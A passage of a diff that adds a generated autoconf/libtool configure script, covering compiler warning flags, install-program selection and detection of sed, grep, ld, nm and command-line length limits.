+          vl_cv_prog_cc_warnings="-Wall -W"
+        else
+          vl_cv_prog_cc_warnings="-Wall -W -ansi -pedantic"
+        fi
+
+
+            elif $CC -V 2>&1 | grep -i "WorkShop" > /dev/null 2>&1 &&
+           $CC -c -v -Xc conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-v"
+        else
+          vl_cv_prog_cc_warnings="-v -Xc"
+        fi
+
+            elif $CC -V 2>&1 | grep -i "Digital UNIX Compiler" > /dev/null 2>&1 &&
+           $CC -c -verbose -w0 -warnprotos -std1 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-verbose -w0 -warnprotos"
+        else
+          vl_cv_prog_cc_warnings="-verbose -w0 -warnprotos -std1"
+        fi
+
+            elif $CC 2>&1 | grep -i "C for AIX Compiler" > /dev/null 2>&1 &&
+           $CC -c -qlanglvl=ansi -qinfo=all conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd"
+        else
+          vl_cv_prog_cc_warnings="-qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd -qlanglvl=ansi"
+        fi
+
+            elif $CC -version 2>&1 | grep -i "MIPSpro Compilers" > /dev/null 2>&1 &&
+           $CC -c -fullwarn -ansi -ansiE conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-fullwarn"
+        else
+          vl_cv_prog_cc_warnings="-fullwarn -ansi -ansiE"
+        fi
+
+            elif what $CC 2>&1 | grep -i "HP C Compiler" > /dev/null 2>&1 &&
+           $CC -c -Aa +w1 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="+w1"
+        else
+          vl_cv_prog_cc_warnings="+w1 -Aa"
+        fi
+
+            elif $CC -V 2>&1 | grep "/SX" > /dev/null 2>&1 &&
+           $CC -c -pvctl,fullmsg -Xc conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-pvctl,fullmsg"
+        else
+          vl_cv_prog_cc_warnings="-pvctl,fullmsg -Xc"
+        fi
+
+            elif $CC -V 2>&1 | grep -i "Cray" > /dev/null 2>&1 &&
+           $CC -c -h msglevel 2 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-h msglevel 2"
+        else
+          vl_cv_prog_cc_warnings="-h msglevel 2 -h conform"
+        fi
+
+      fi
+      rm -f conftest.*
+    fi
+    if test -n "$vl_cv_prog_cc_warnings"; then
+      CFLAGS="$CFLAGS $vl_cv_prog_cc_warnings"
+    else
+      vl_cv_prog_cc_warnings="unknown"
+    fi
+
+fi
+echo "$as_me:$LINENO: result: $vl_cv_prog_cc_warnings" >&5
+echo "${ECHO_T}$vl_cv_prog_cc_warnings" >&6
+
+
+# Find a good install program.  We prefer a C program (faster),
+# so one script is as good as another.  But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# OS/2's system install, which has a completely different semantic
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+  ./ | .// | /cC/* | \
+  /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+  ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \
+  /usr/ucb/* ) ;;
+  *)
+    # OSF1 and SCO ODT 3.0 have their own names for install.
+    # Don't use installbsd from OSF since it installs stuff as root
+    # by default.
+    for ac_prog in ginstall scoinst install; do
+      for ac_exec_ext in '' $ac_executable_extensions; do
+	if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+	  if test $ac_prog = install &&
+	    grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+	    # AIX install.  It has an incompatible calling convention.
+	    :
+	  elif test $ac_prog = install &&
+	    grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+	    # program-specific install script used by HP pwplus--don't use.
+	    :
+	  else
+	    ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+	    break 3
+	  fi
+	fi
+      done
+    done
+    ;;
+esac
+done
+
+
+fi
+  if test "${ac_cv_path_install+set}" = set; then
+    INSTALL=$ac_cv_path_install
+  else
+    # As a last resort, use the slow shell script.  We don't cache a
+    # path for INSTALL within a source directory, because that will
+    # break other packages using the cache if that directory is
+    # removed, or if the path is relative.
+    INSTALL=$ac_install_sh
+  fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+echo "$as_me:$LINENO: checking whether ln -s works" >&5
+echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6
+LN_S=$as_ln_s
+if test "$LN_S" = "ln -s"; then
+  echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+else
+  echo "$as_me:$LINENO: result: no, using $LN_S" >&5
+echo "${ECHO_T}no, using $LN_S" >&6
+fi
+
+
+
+macro_version='2.1a'
+macro_revision='1.2248'
+
+
+
+
+
+
+
+
+
+
+
+
+ltmain="$ac_aux_dir/ltmain.sh"
+
+# Set options
+
+enable_dlopen=no
+
+
+enable_win32_dll=no
+
+
+# Check whether --enable-shared or --disable-shared was given.
+if test "${enable_shared+set}" = set; then
+  enableval="$enable_shared"
+  p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_shared=yes ;;
+    no) enable_shared=no ;;
+    *)
+      enable_shared=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_shared=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac
+else
+  enable_shared=yes
+fi;
+
+
+
+
+
+
+
+
+# Check whether --enable-static or --disable-static was given.
+if test "${enable_static+set}" = set; then
+  enableval="$enable_static"
+  p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_static=yes ;;
+    no) enable_static=no ;;
+    *)
+     enable_static=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_static=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac
+else
+  enable_static=yes
+fi;
+
+
+
+
+
+
+
+
+
+# Check whether --with-pic or --without-pic was given.
+if test "${with_pic+set}" = set; then
+  withval="$with_pic"
+  pic_mode="$withval"
+else
+  pic_mode=default
+fi;
+
+test -z "$pic_mode" && pic_mode=default
+
+
+
+
+
+
+
+# Check whether --enable-fast-install or --disable-fast-install was given.
+if test "${enable_fast_install+set}" = set; then
+  enableval="$enable_fast_install"
+  p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_fast_install=yes ;;
+    no) enable_fast_install=no ;;
+    *)
+      enable_fast_install=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_fast_install=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac
+else
+  enable_fast_install=yes
+fi;
+
+
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking for a sed that does not truncate output" >&5
+echo $ECHO_N "checking for a sed that does not truncate output... $ECHO_C" >&6
+if test "${lt_cv_path_SED+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  # Loop through the user's path and test for sed and gsed.
+# Then use that list of sed's as ones to test for truncation.
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for lt_ac_prog in sed gsed; do
+    for ac_exec_ext in '' $ac_executable_extensions; do
+      if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then
+        lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext"
+      fi
+    done
+  done
+done
+lt_ac_max=0
+lt_ac_count=0
+# Add /usr/xpg4/bin/sed as it is typically found on Solaris
+# along with /bin/sed that truncates output.
+for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do
+  test ! -f $lt_ac_sed && continue
+  cat /dev/null > conftest.in
+  lt_ac_count=0
+  echo $ECHO_N "0123456789$ECHO_C" >conftest.in
+  # Check for GNU sed and select it if it is found.
+  if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then
+    lt_cv_path_SED=$lt_ac_sed
+    break
+  fi
+  while true; do
+    cat conftest.in conftest.in >conftest.tmp
+    mv conftest.tmp conftest.in
+    cp conftest.in conftest.nl
+    echo >>conftest.nl
+    $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break
+    cmp -s conftest.out conftest.nl || break
+    # 10000 chars as input seems more than enough
+    test $lt_ac_count -gt 10 && break
+    lt_ac_count=`expr $lt_ac_count + 1`
+    if test $lt_ac_count -gt $lt_ac_max; then
+      lt_ac_max=$lt_ac_count
+      lt_cv_path_SED=$lt_ac_sed
+    fi
+  done
+done
+
+fi
+
+SED=$lt_cv_path_SED
+
+echo "$as_me:$LINENO: result: $SED" >&5
+echo "${ECHO_T}$SED" >&6
+
+test -z "$SED" && SED=sed
+
+
+
+
+
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking for egrep" >&5
+echo $ECHO_N "checking for egrep... $ECHO_C" >&6
+if test "${ac_cv_prog_egrep+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if echo a | (grep -E '(a|b)') >/dev/null 2>&1
+    then ac_cv_prog_egrep='grep -E'
+    else ac_cv_prog_egrep='egrep'
+    fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5
+echo "${ECHO_T}$ac_cv_prog_egrep" >&6
+ EGREP=$ac_cv_prog_egrep
+
+
+echo "$as_me:$LINENO: checking for fgrep" >&5
+echo $ECHO_N "checking for fgrep... $ECHO_C" >&6
+if test "${ac_cv_prog_fgrep+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if echo 'ab*c' | (grep -F 'ab*c') >/dev/null 2>&1
+    then ac_cv_prog_fgrep='grep -F'
+    else ac_cv_prog_fgrep='fgrep'
+    fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_fgrep" >&5
+echo "${ECHO_T}$ac_cv_prog_fgrep" >&6
+ FGREP=$ac_cv_prog_fgrep
+
+
+test -z "$GREP" && GREP=grep
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+# Check whether --with-gnu-ld or --without-gnu-ld was given.
+if test "${with_gnu_ld+set}" = set; then
+  withval="$with_gnu_ld"
+  test "$withval" = no || with_gnu_ld=yes
+else
+  with_gnu_ld=no
+fi;
+ac_prog=ld
+if test "$GCC" = yes; then
+  # Check if gcc -print-prog-name=ld gives a path.
+  echo "$as_me:$LINENO: checking for ld used by $CC" >&5
+echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6
+  case $host in
+  *-*-mingw*)
+    # gcc leaves a trailing carriage return which upsets mingw
+    ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
+  *)
+    ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
+  esac
+  case $ac_prog in
+    # Accept absolute paths.
+    [\\/]* | ?:[\\/]*)
+      re_direlt='/[^/][^/]*/\.\./'
+      # Canonicalize the pathname of ld
+      ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'`
+      while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do
+	ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"`
+      done
+      test -z "$LD" && LD="$ac_prog"
+      ;;
+  "")
+    # If it fails, then pretend we aren't using GCC.
+    ac_prog=ld
+    ;;
+  *)
+    # If it is relative, then search for the first ld in PATH.
+    with_gnu_ld=unknown
+    ;;
+  esac
+elif test "$with_gnu_ld" = yes; then
+  echo "$as_me:$LINENO: checking for GNU ld" >&5
+echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6
+else
+  echo "$as_me:$LINENO: checking for non-GNU ld" >&5
+echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6
+fi
+if test "${lt_cv_path_LD+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -z "$LD"; then
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  for ac_dir in $PATH; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
+      lt_cv_path_LD="$ac_dir/$ac_prog"
+      # Check to see if the program is GNU ld.  I'd rather use --version,
+      # but apparently some variants of GNU ld only accept -v.
+      # Break only if it was the GNU/non-GNU ld that we prefer.
+      case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
+      *GNU* | *'with BFD'*)
+	test "$with_gnu_ld" != no && break
+	;;
+      *)
+	test "$with_gnu_ld" != yes && break
+	;;
+      esac
+    fi
+  done
+  IFS="$lt_save_ifs"
+else
+  lt_cv_path_LD="$LD" # Let the user override the test with a path.
+fi
+fi
+
+LD="$lt_cv_path_LD"
+if test -n "$LD"; then
+  echo "$as_me:$LINENO: result: $LD" >&5
+echo "${ECHO_T}$LD" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5
+echo "$as_me: error: no acceptable ld found in \$PATH" >&2;}
+   { (exit 1); exit 1; }; }
+echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5
+echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6
+if test "${lt_cv_prog_gnu_ld+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  # I'd rather use --version here, but apparently some GNU lds only accept -v.
+case `$LD -v 2>&1 </dev/null` in
+*GNU* | *'with BFD'*)
+  lt_cv_prog_gnu_ld=yes
+  ;;
+*)
+  lt_cv_prog_gnu_ld=no
+  ;;
+esac
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_gnu_ld" >&5
+echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6
+with_gnu_ld=$lt_cv_prog_gnu_ld
+
+
+
+
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking for BSD- or MS-compatible name lister (nm)" >&5
+echo $ECHO_N "checking for BSD- or MS-compatible name lister (nm)... $ECHO_C" >&6
+if test "${lt_cv_path_NM+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$NM"; then
+  # Let the user override the test.
+  lt_cv_path_NM="$NM"
+else
+  lt_nm_to_check="${ac_tool_prefix}nm"
+  if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
+    lt_nm_to_check="$lt_nm_to_check nm"
+  fi
+  for lt_tmp_nm in $lt_nm_to_check; do
+    lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+    for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
+      IFS="$lt_save_ifs"
+      test -z "$ac_dir" && ac_dir=.
+      tmp_nm="$ac_dir/$lt_tmp_nm"
+      if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
+	# Check to see if the nm accepts a BSD-compat flag.
+	# Adding the `sed 1q' prevents false positives on HP-UX, which says:
+	#   nm: unknown option "B" ignored
+	# Tru64's nm complains that /dev/null is an invalid object file
+	case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
+	*/dev/null* | *'Invalid file or object type'*)
+	  lt_cv_path_NM="$tmp_nm -B"
+	  break
+	  ;;
+	*)
+	  case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
+	  */dev/null*)
+	    lt_cv_path_NM="$tmp_nm -p"
+	    break
+	    ;;
+	  *)
+	    lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
+	    continue # so that we can try to find one that supports BSD flags
+	    ;;
+	  esac
+	  ;;
+	esac
+      fi
+    done
+    IFS="$lt_save_ifs"
+  done
+  : ${lt_cv_path_NM=no}
+fi
+fi
+echo "$as_me:$LINENO: result: $lt_cv_path_NM" >&5
+echo "${ECHO_T}$lt_cv_path_NM" >&6
+if test "$lt_cv_path_NM" != "no"; then
+  NM="$lt_cv_path_NM"
+else
+  # Didn't find any BSD compatible name lister, look for dumpbin.
+  if test -n "$ac_tool_prefix"; then
+  for ac_prog in "dumpbin -symbols" "link -dump -symbols"
+  do
+    # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_DUMPBIN+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$DUMPBIN"; then
+  ac_cv_prog_DUMPBIN="$DUMPBIN" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_DUMPBIN="$ac_tool_prefix$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+DUMPBIN=$ac_cv_prog_DUMPBIN
+if test -n "$DUMPBIN"; then
+  echo "$as_me:$LINENO: result: $DUMPBIN" >&5
+echo "${ECHO_T}$DUMPBIN" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+    test -n "$DUMPBIN" && break
+  done
+fi
+if test -z "$DUMPBIN"; then
+  ac_ct_DUMPBIN=$DUMPBIN
+  for ac_prog in "dumpbin -symbols" "link -dump -symbols"
+do
+  # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_DUMPBIN+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_DUMPBIN"; then
+  ac_cv_prog_ac_ct_DUMPBIN="$ac_ct_DUMPBIN" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_DUMPBIN="$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_DUMPBIN=$ac_cv_prog_ac_ct_DUMPBIN
+if test -n "$ac_ct_DUMPBIN"; then
+  echo "$as_me:$LINENO: result: $ac_ct_DUMPBIN" >&5
+echo "${ECHO_T}$ac_ct_DUMPBIN" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  test -n "$ac_ct_DUMPBIN" && break
+done
+test -n "$ac_ct_DUMPBIN" || ac_ct_DUMPBIN=":"
+
+  DUMPBIN=$ac_ct_DUMPBIN
+fi
+
+
+  if test "$DUMPBIN" != ":"; then
+    NM="$DUMPBIN"
+  fi
+fi
+test -z "$NM" && NM=nm
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking the name lister ($NM) interface" >&5
+echo $ECHO_N "checking the name lister ($NM) interface... $ECHO_C" >&6
+if test "${lt_cv_nm_interface+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_nm_interface="BSD nm"
+  echo "int some_variable = 0;" > conftest.$ac_ext
+  (eval echo "\"\$as_me:4065: $ac_compile\"" >&5)
+  (eval "$ac_compile" 2>conftest.err)
+  cat conftest.err >&5
+  (eval echo "\"\$as_me:4068: $NM \\\"conftest.$ac_objext\\\"\"" >&5)
+  (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out)
+  cat conftest.err >&5
+  (eval echo "\"\$as_me:4071: output\"" >&5)
+  cat conftest.out >&5
+  if $GREP 'External.*some_variable' conftest.out > /dev/null; then
+    lt_cv_nm_interface="MS dumpbin"
+  fi
+  rm -f conftest*
+fi
+echo "$as_me:$LINENO: result: $lt_cv_nm_interface" >&5
+echo "${ECHO_T}$lt_cv_nm_interface" >&6
+
+# find the maximum length of command line arguments
+echo "$as_me:$LINENO: checking the maximum length of command line arguments" >&5
+echo $ECHO_N "checking the maximum length of command line arguments... $ECHO_C" >&6
+if test "${lt_cv_sys_max_cmd_len+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+    i=0
+  teststring="ABCD"
+
+  case $build_os in
+  msdosdjgpp*)
+    # On DJGPP, this test can blow up pretty badly due to problems in libc
+    # (any single argument exceeding 2000 bytes causes a buffer overrun
+    # during glob expansion).  Even if it were fixed, the result of this
+    # check would be larger than it should be.
+    lt_cv_sys_max_cmd_len=12288;    # 12K is about right
+    ;;
+
+  gnu*)
+    # Under GNU Hurd, this test is not required because there is
+    # no limit to the length of command line arguments.
+    # Libtool will interpret -1 as no limit whatsoever
+    lt_cv_sys_max_cmd_len=-1;
+    ;;
+
+  cygwin* | mingw*)
+    # On Win9x/ME, this test blows up -- it succeeds, but takes
+    # about 5 minutes as the teststring grows exponentially.
+    # Worse, since 9x/ME are not pre-emptively multitasking,
+    # you end up with a "frozen" computer, even though with patience
+    # the test eventually succeeds (with a max line length of 256k).
+    # Instead, let's just punt: use the minimum linelength reported by
+    # all of the supported platforms: 8192 (on NT/2K/XP).
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  amigaos*)
+    # On AmigaOS with pdksh, this test takes hours, literally.
+    # So we just punt and use a minimum line length of 8192.
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
+    # This has been around since 386BSD, at least.  Likely further.
+    if test -x /sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
+    elif test -x /usr/sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
+    else
+      lt_cv_sys_max_cmd_len=65536	# usable default for all BSDs
+    fi
+    # And add a safety zone
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
+    ;;
+
+  interix*)
+    # We know the value 262144 and hardcode it with a safety zone (like BSD)
+    lt_cv_sys_max_cmd_len=196608
+    ;;
+
+  osf*)
+    # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
+    # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
+    # nice to cause kernel panics so lets avoid the loop below.
+    # First set a reasonable default.
+    lt_cv_sys_max_cmd_len=16384
+    #
+    if test -x /sbin/sysconfig; then
+      case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
+        *1*) lt_cv_sys_max_cmd_len=-1 ;;
+      esac
+    fi
+    ;;
+  sco3.2v5*)
+    lt_cv_sys_max_cmd_len=102400
+    ;;
+  sysv5* | sco5v6* | sysv4.2uw2*)
+    kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
+    if test -n "$kargmax"; then
+      lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ 	]//'`
+    else
+      lt_cv_sys_max_cmd_len=32768
+    fi
+    ;;
+  *)
+    # Make teststring a little bigger before we do anything with it.
+    # a 1K string should be a reasonable start.
+    for i in 1 2 3 4 5 6 7 8 ; do
+      teststring=$teststring$teststring
+    done
+    SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
+    # If test is not a shell built-in, we'll probably end up computing a
+    # maximum length that is only half of the actual maximum length, but
+    # we can't tell.
+    while { test "X"`$SHELL $0 --fallback-echo "X$teststring$teststring" 2>/dev/null` \
+	       = "XX$teststring$teststring"; } >/dev/null 2>&1 &&
+	    test $i != 17 # 1/2 MB should be enough
+    do
+      i=`expr $i + 1`
+      teststring=$teststring$teststring
+    done
+    # Only check the string length outside the loop.
+    lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1`
+    teststring=
+    # Add a significant safety factor because C++ compilers can tack on massive
+    # amounts of additional arguments before passing them to the linker.
+    # It appears as though 1/2 is a usable value.
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
+    ;;
+  esac
+
+fi
+
+if test -n $lt_cv_sys_max_cmd_len ; then
+  echo "$as_me:$LINENO: result: $lt_cv_sys_max_cmd_len" >&5
+echo "${ECHO_T}$lt_cv_sys_max_cmd_len" >&6
+else
+  echo "$as_me:$LINENO: result: none" >&5
+echo "${ECHO_T}none" >&6
+fi
+max_cmd_len=$lt_cv_sys_max_cmd_len
+
+
+
+
+
+
+
+: ${CP="cp -f"}
+: ${MV="mv -f"}
+: ${RM="rm -f"}
+
+echo "$as_me:$LINENO: checking whether the shell understands some XSI constructs" >&5
+echo $ECHO_N "checking whether the shell understands some XSI constructs... $ECHO_C" >&6
+# Try some XSI features
+xsi_shell=no
+( _lt_dummy="a/b/c"
+  test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+      = c,a/b,, ) >/dev/null 2>&1 \
+  && xsi_shell=yes
+echo "$as_me:$LINENO: result: $xsi_shell" >&5
+echo "${ECHO_T}$xsi_shell" >&6
+
+
+echo "$as_me:$LINENO: checking for $LD option to reload object files" >&5
+echo $ECHO_N "checking for $LD option to reload object files... $ECHO_C" >&6
+if test "${lt_cv_ld_reload_flag+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_ld_reload_flag='-r'
+fi
+echo "$as_me:$LINENO: result: $lt_cv_ld_reload_flag" >&5
+echo "${ECHO_T}$lt_cv_ld_reload_flag" >&6
+reload_flag=$lt_cv_ld_reload_flag
+case $reload_flag in
+"" | " "*) ;;
+*) reload_flag=" $reload_flag" ;;
+esac
+reload_cmds='$LD$reload_flag -o $output$reload_objs'
+case $host_os in
+  darwin*)
+    if test "$GCC" = yes; then
+      reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+    else
+      reload_cmds='$LD$reload_flag -o $output$reload_objs'
+    fi
+    ;;
+esac
+
+
+
+
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking how to recognise dependent libraries" >&5
+echo $ECHO_N "checking how to recognise dependent libraries... $ECHO_C" >&6
+if test "${lt_cv_deplibs_check_method+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_file_magic_cmd='$MAGIC_CMD'
+lt_cv_file_magic_test_file=
+lt_cv_deplibs_check_method='unknown'
+# Need to set the preceding variable on all platforms that support
+# interlibrary dependencies.
+# 'none' -- dependencies not supported.
+# `unknown' -- same as none, but documents that we really don't know.
+# 'pass_all' -- all dependencies passed with no checks.
+# 'test_compile' -- check by making test program.
+# 'file_magic [[regex]]' -- check by looking for files in library path
+# which responds to the $file_magic_cmd with a given extended regex.
+# If you have `file' or equivalent on your system and you're not sure
+# whether `pass_all' will *always* work, you probably want this one.
+
+case $host_os in
+aix4* | aix5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+beos*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+bsdi[45]*)
